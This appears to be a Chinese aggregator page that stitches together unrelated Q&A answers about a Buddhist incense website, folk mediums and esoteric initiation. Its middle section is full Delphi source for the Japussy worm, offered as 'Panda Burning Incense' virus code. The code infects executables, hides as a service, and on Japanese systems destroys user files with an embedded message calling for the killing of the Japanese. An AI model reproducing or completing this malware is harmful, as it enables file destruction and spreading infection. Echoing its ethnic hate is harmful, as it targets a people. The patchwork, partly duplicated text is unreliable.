包含通灵佛教网在线烧香源码的词条

文章目录：

• 1、通灵佛教网是骗人的吗
• 2、台式电脑 佛教通灵网的烧香信息时间怎么更新？
• 3、谁有 熊猫烧香 源代码？【要c语言的，谢谢啊。
• 4、通灵佛教网一居士文章一(10)手机浏笕意识不到自身的问题就是有无名障碍

通灵佛教网是骗人的吗

是的，通灵属于旁门左道，佛门正法里绝不会强调这个。学佛如果执着于神通，感应，必将坠入魔道。由此可见，这个网站只是假借佛教的名义，实际上就是在招摇撞骗。

台式电脑 佛教通灵网的烧香信息时间怎么更新？

若信佛，应正信。若皈依三宝，更应正信。应去求正佛法，这种邪门歪道的东西应远离。焚香供佛，是以烟云为佛做伞盖，并以香气供佛。网上假烧，能做什么？

谁有 熊猫烧香 源代码？【要c语言的，谢谢啊。

end;

end;

{ 主程序开始 }

begin

if iswin9x then //是win9x

registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程

else //winnt

begin

//远程线程映射到explorer进程

//哪位兄台愿意完成之？

end;

//如果是原始病毒体自己

if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then

infectfiles //感染和发邮件

else //已寄生于宿主程序上了，开始工作

begin

tmpfile := paramstr(0); //创建临时文件

delete(tmpfile, length(tmpfile) - 4, 4);

tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格

extractfile(tmpfile); //分离之

fillstartupinfo(si, sw_showdefault);

createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,

0, nil, '.', si, pi); //创建新进程运行之

infectfiles; //感染和发邮件

end;

end.

把我说的..空格删去,,然后保存到C盘任何路径下..你大概就能得熊猫烧香变种headersize = 82432; //病毒体的大小

iconoffset = $12eb8; //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

headersize = 38912; //upx压缩过病毒体的大小

iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe

}

iconsize = $2e8; //pe文件主图标的大小--744字节

icontail = iconoffset + iconsize; //pe文件主图标的尾部

id = $44444444; //感染标记

//垃圾码，以备写入

catchword = 'if a race need to be killed out, it must be yamato. ' +

'if a country need to be destroyed, it must be japan! ' +

'*** w32.japussy.worm.a ***';

{$r *.res}

function registerserviceprocess(dwprocessid, dwtype: integer): integer;

stdcall; external 'kernel32.dll'; //函数声明

var

tmpfile: string;

si: startupinfo;

pi: process_information;

isjap: boolean = false; //日文操作系统标记

{ 判断是否为win9x }

function iswin9x: boolean;

var

ver: tosversioninfo;

begin

result := false;

ver.dwosversioninfosize := sizeof(tosversioninfo);

if not getversionex(ver) then

exit;

if (ver.dwplatformid = ver_platform_win32_windows) then //win9x

result := true;

end;

{ 在流之间复制 }

procedure copystream(src: tstream; sstartpos: integer; dst: tstream;

dstartpos: integer; count: integer);

var

scurpos, dcurpos: integer;

begin

scurpos := src.position;

dcurpos := dst.position;

src.seek(sstartpos, 0);

dst.seek(dstartpos, 0);

dst.copyfrom(src, count);

src.seek(scurpos, 0);

dst.seek(dcurpos, 0);

end;

{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }

procedure extractfile(filename: string);

var

sstream, dstream: tfilestream;

begin

try

sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);

try

dstream := tfilestream.create(filename, fmcreate);

try

sstream.seek(headersize, 0); //跳过头部的病毒部分

dstream.copyfrom(sstream, sstream.size - headersize);

finally

dstream.free;

end;

finally

sstream.free;

end;

except

end;

end;

{ 填充startupinfo结构 }

procedure fillstartupinfo(var si: startupinfo; state: word);

begin

si.cb := sizeof(si);

si.lpreserved := nil;

si.lpdesktop := nil;

si.lptitle := nil;

si.dwflags := startf_useshowwindow;

si.wshowwindow := state;

si.cbreserved2 := 0;

si.lpreserved2 := nil;

end;

{ 发带毒邮件 }

procedure sendmail;

begin

//哪位仁兄愿意完成之？

end;

{ 感染pe文件 }

procedure infectonefile(filename: string);

var

hdrstream, srcstream: tfilestream;

icostream, dststream: tmemorystream;

iid: longint;

aicon: ticon;

infected, ispe: boolean;

i: integer;

buf: array[0..1] of char;

begin

try //出错则文件正在被使用，退出

if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染

exit;

infected := false;

ispe := false;

srcstream := tfilestream.create(filename, fmopenread);

try

for i := 0 to $108 do //检查pe文件头

begin

srcstream.seek(i, sofrombeginning);

srcstream.read(buf, 2);

if (buf[0] = #80) and (buf[1] = #69) then //pe标记

begin

ispe := true; //是pe文件

break;

end;

end;

srcstream.seek(-4, sofromend); //检查感染标记

srcstream.read(iid, 4);

if (iid = id) or (srcstream.size 10240) then //太小的文件不感染

infected := true;

finally

srcstream.free;

end;

if infected or (not ispe) then //如果感染过了或不是pe文件则退出

exit;

icostream := tmemorystream.create;

dststream := tmemorystream.create;

try

aicon := ticon.create;

try

//得到被感染文件的主图标(744字节)，存入流

aicon.releasehandle;

aicon.handle := extracticon(hinstance, pchar(filename), 0);

aicon.savetostream(icostream);

finally

aicon.free;

end;

srcstream := tfilestream.create(filename, fmopenread);

//头文件

hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);

try

//写入病毒体主图标之前的数据

copystream(hdrstream, 0, dststream, 0, iconoffset);

//写入目前程序的主图标

copystream(icostream, 22, dststream, iconoffset, iconsize);

//写入病毒体主图标到病毒体尾部之间的数据

copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);

//写入宿主程序

copystream(srcstream, 0, dststream, headersize, srcstream.size);

//写入已感染的标记

dststream.seek(0, 2);

iid := $44444444;

dststream.write(iid, 4);

finally

hdrstream.free;

end;

finally

srcstream.free;

icostream.free;

dststream.savetofile(filename); //替换宿主文件

dststream.free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure smashfile(filename: string);

var

filehandle: integer;

i, size, mass, max, len: integer;

begin

try

setfileattributes(pchar(filename), 0); //去掉只读属性

filehandle := fileopen(filename, fmopenwrite); //打开文件

try

size := getfilesize(filehandle, nil); //文件大小

i := 0;

randomize;

max := random(15); //写入垃圾码的随机次数

if max 5 then

max := 5;

mass := size div max; //每个间隔块的大小

len := length(catchword);

while i max do

begin

fileseek(filehandle, i * mass, 0); //定位

//写入垃圾码，将文件彻底破坏掉

filewrite(filehandle, catchword, len);

inc(i);

end;

finally

fileclose(filehandle); //关闭文件

end;

deletefile(pchar(filename)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function getdrives: string;

var

disktype: word;

d: char;

str: string;

i: integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

d := chr(i + 65);

str := d + ':\';

disktype := getdrivetype(pchar(str));

//得到本地磁盘和网络盘

if (disktype = drive_fixed) or (disktype = drive_remote) then

result := result + d;

end;

end;

{ 遍历目录，感染和摧毁文件 }

procedure loopfiles(path, mask: string);

var

i, count: integer;

fn, ext: string;

subdir: tstrings;

searchrec: tsearchrec;

msg: tmsg;

function isvaliddir(searchrec: tsearchrec): integer;

begin

if (searchrec.attr 16) and (searchrec.name '.') and

(searchrec.name '..') then

result := 0 //不是目录

else if (searchrec.attr = 16) and (searchrec.name '.') and

(searchrec.name '..') then

result := 1 //不是根目录

else result := 2; //是根目录

end;

begin

if (findfirst(path + mask, faanyfile, searchrec) = 0) then

begin

repeat

peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑

if isvaliddir(searchrec) = 0 then

begin

fn := path + searchrec.name;

ext := uppercase(extractfileext(fn));

if (ext = '.exe') or (ext = '.scr') then

begin

infectonefile(fn); //感染可执行文件

end

else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then

begin

//感染html和asp文件，将base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之？

end

else if ext = '.wab' then //outlook地址簿文件

begin

//获取outlook邮件地址

end

else if ext = '.adc' then //foxmail地址自动完成文件

begin

//获取foxmail邮件地址

end

else if ext = 'ind' then //foxmail地址簿文件

begin

//获取foxmail邮件地址

end

else

begin

if isjap then //是倭文操作系统

begin

if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or

(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or

(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or

(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or

(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or

(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then

smashfile(fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑

sleep(200);

until (findnext(searchrec) 0);

end;

findclose(searchrec);

subdir := tstringlist.create;

if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then

begin

repeat

if isvaliddir(searchrec) = 1 then

subdir.add(searchrec.name);

until (findnext(searchrec) 0);

end;

findclose(searchrec);

count := subdir.count - 1;

for i := 0 to count do

loopfiles(path + subdir.strings + '\', mask);

freeandnil(subdir);

end;

{ 遍历磁盘上所有的文件 }

procedure infectfiles;

var

driverlist: string;

i, len: integer;

begin

if getacp = 932 then //日文操作系统

isjap := true; //去死吧！

driverlist := getdrives; //得到可写的磁盘列表

len := length(driverlist);

while true do //死循环

begin

for i := len downto 1 do //遍历每个磁盘驱动器

loopfiles(driverlist + ':\', '*.*'); //感染之

sendmail; //发带毒邮件

sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if iswin9x then //是win9x

registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程

else //winnt

begin

//远程线程映射到explorer进程

//哪位兄台愿意完成之？

end;

//如果是原始病毒体自己

if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then

infectfiles //感染和发邮件

else //已寄生于宿主程序上了，开始工作

begin

tmpfile := paramstr(0); //创建临时文件

delete(tmpfile, length(tmpfile) - 4, 4);

tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格

extractfile(tmpfile); //分离之

fillstartupinfo(si, sw_showdefault);

createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,

0, nil, '.', si, pi); //创建新进程运行之

infectfiles; //感染和发邮件

end;

end.

把我说的..空格删去,,然后保存到C盘任何路径下..你大概就能得熊猫烧香变种

通灵佛教网一居士文章一(10)手机浏笕意识不到自身的问题就是有无名障碍

您好，从问题可以看出您是位很虔诚的佛子。我估计您可能是家里有大仙堂，出马看病吧？那么，怎么解决出马看病与信佛之间的矛盾呢？下面我给您一个切实可行的解决办法（我本人也是位在家居士，同时是密宗宁玛派的四皈依弟子）：

您首先要把自己的身份变成密宗的四皈依弟子。您最好找密宗红教的师为您灌顶四皈依，然后请师傅传您普贤王如来心咒（每天念咒修持），然后请密宗的普贤王如来像、步掷金刚明王像或显宗的普贤菩萨像（可以三尊都请）回家供养。每次在出马看病前，先给佛像上香，默祷“我修普贤行，供养一切众生”，然后再上香请仙，请仙时第一句一定要默祷“我修普贤行，带领众老仙一起修佛道”。这套仪轨的理论依据是：

“出家人不允许示现神通，一旦显示神通，就要被驱逐，从此隐姓埋名，不露形迹”这种说法是有的，只不过这是汉传佛教也就是显宗的规定，密宗没有这方面的约束。也就是说密宗弟子是可以示现神通的。但您的特殊性在于，您的神通是依通或叫鬼通（即不是您自己修出来的，而是老仙的），这就又有问题了，因为密宗的四皈依里同样有“皈依佛，不皈依天魔外道”的说法。解决这个问题的唯一方法就是修普贤行。因为普贤菩萨发的大愿非常特殊，他的愿是“供养一切众生”也就是说即使比我们层次低的畜生道（如狐黄白柳灰等动物仙）和鬼道（如清风、碑王等烟魂）普贤菩萨也当成佛一样来供养。因此，只要你修普贤行，供奉老仙出马看病就不会是皈依天魔外道了。但你只能修密宗的普贤行，因为如果你修显宗的普贤行，供奉老仙是可以的，但一旦出马看病就违背了示现神通的戒律（估计您也不想为了修佛把大堂仙变成保家仙吧？）之所以要您找密宗红教的师傅为您四皈依，是因为在密宗五派中，只有红教把普贤王如来（也就是显宗的普贤菩萨)视为本尊佛。如果实在找不到红教的师傅，其他密宗教派的也可以，只要让他为你灌顶四皈。并传你普贤王如来心咒就可以了。

希望我的建议能对您有所帮助。

补充：对楼上周公后的观点我有不同看法：首先释迦牟尼佛在宣说楞严咒前动地放光的事情是有的，但直接后果就是三千比丘退席，以为佛祖入魔了。济佛倒是经常以神通渡众生，但直接后果就是不得不装疯买傻来掩饰行藏。所以，佛教显宗对使用神通是绝对禁止的。

至于依通和鬼通能不能用？密宗大大小小很多活佛都有自己的护法神，如果这个活佛没修出神通的话，经常会借助护法神的神通去做很多事情，其实很多护法神都是鬼道里的大鬼王。所以只要楼主成了密宗弟子，完全可以把老仙视为自己的护法神而借用其神通的，只要其目的是正当的，是为了替众生消灾解难。最后引用宣公上人的一句话作为结语：正人行邪法也是正，邪人行正法也是邪！